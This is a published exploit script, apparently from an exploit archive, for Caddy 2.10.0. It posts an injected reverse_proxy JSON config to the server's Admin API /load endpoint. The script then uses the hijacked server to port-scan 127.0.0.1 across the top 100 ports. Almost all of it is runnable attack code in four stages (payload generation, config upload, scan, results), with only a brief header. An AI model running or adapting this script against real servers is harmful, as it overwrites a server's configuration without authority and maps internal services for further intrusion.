# Exploit Title: Caddy 2.10.0 - Admin API SSRF via JSON Config Injection
# Date: 2025-07-10
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://caddyserver.com/
# Software Link: https://github.com/caddyserver/caddy
# Version: 2.10.0
# Tested on: Linux (Kali), Caddy 2.10.0 binary
# CVE: N/A
# Description:
# By abusing Caddy's Admin API at :2019, an attacker can inject a
reverse_proxy config
# and force the server to make SSRF requests to internal IPs and ports.
import json
import requests
import argparse
from time import sleep
# === CLI Argument Parser ===
parser = argparse.ArgumentParser(description="Caddy Admin SSRF Port Scanner"
)
parser.add_argument("-u", "--url", required=True, help="Caddy Admin API
base URL (e.g., http://localhost)")
parser.add_argument("-p", "--port", required=True, help="Caddy Admin API
port (e.g., 2019)")
args = parser.parse_args()
# === Configuration ===
target = f"{args.url.rstrip('/')}:{args.port}"
SCAN_PORT = 8989 # SSRF scanning endpoint
# === Top 100 Common Ports (Nmap Default) ===
top_100_ports = [
21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 443, 445, 993, 995, 1723,
3306, 3389,
5900, 8080, 20, 554, 179, 1025, 1720, 2000, 17231, 49152, 49153, 49154,
49155, 49156,
49157, 7, 13, 19, 37, 49, 69, 70, 79, 88, 106, 113, 119, 123, 1433, 1521,
161, 389,
427, 465, 500, 514, 515, 543, 544, 548, 587, 636, 873, 992, 1026, 1027, 1028,
1029,
1030, 3300, 4444, 5000, 5050, 5060, 5100, 5120, 5200, 5353, 5432, 5800, 5901,
6000,
6001, 6646, 7000, 7070, 8000, 8008, 8081, 8443, 8888, 9000, 9090, 9999,
10000, 32768,
49158, 49159, 49160, 49161, 49162, 49163, 49165, 49167, 49175, 49176, 49177
]
# === Stage 1: Create Payload ===
print("\n[+] Stage 1: Generating SSRF JSON payload...")
payload = {
"apps": {
"http": {
"servers": {
"scanner": {
"listen": [f":{SCAN_PORT}"],
"routes": [{
"match": [{
"path_regexp": {
"name": "scan",
"pattern": "/scan/(?P<port>\\d+)"
}
}],
"handle": [{
"handler": "subroute",
"routes": [{
"handle": [{
"handler": "reverse_proxy",
"upstreams": [{
"dial": "127.0.0.1:{http.regexp.scan.port}"
}]
}]
}]
}]
}]
}
}
}
}
}
json_file_path = "ssrf_portscan.json"
with open(json_file_path, "w") as f:
json.dump(payload, f, indent=2)
print("[+] Payload saved to ssrf_portscan.json")
# === Stage 2: Upload Config ===
print("\n[+] Stage 2: Uploading payload to Caddy Admin API...")
try:
with open(json_file_path, "rb") as f:
res = requests.post(f"{target}/load", headers={
"Content-Type": "application/json"
}, data=f.read())
if res.status_code == 200:
print("[+] Config successfully loaded!")
else:
print(f"[!] Upload failed ({res.status_code}): {res.text}")
exit(1)
except Exception as e:
print(f"[!] Exception during upload: {e}")
exit(1)
# === Stage 3: Start Scan ===
print("\n[+] Stage 3: Starting SSRF-based port scan on 127.0.0.1...\n")
open_ports = []
for port in top_100_ports:
try:
url = f"http://localhost:{SCAN_PORT}/scan/{port}"
r = requests.get(url, timeout=1)
if r.status_code != 502:
print(f"[+] Port {port} seems OPEN (HTTP {r.status_code})")
open_ports.append(port)
else:
print(f"[-] Port {port} closed (502 Bad Gateway)")
except Exception:
print(f"[!] Port {port} request failed or timed out")
sleep(0.05)
# === Stage 4: Results ===
print("\n[+] Stage 4: Scan complete.")
if open_ports:
print("\n Open ports on 127.0.0.1:")
print(", ".join(map(str, open_ports)))
else:
print(" No open ports detected.")Data
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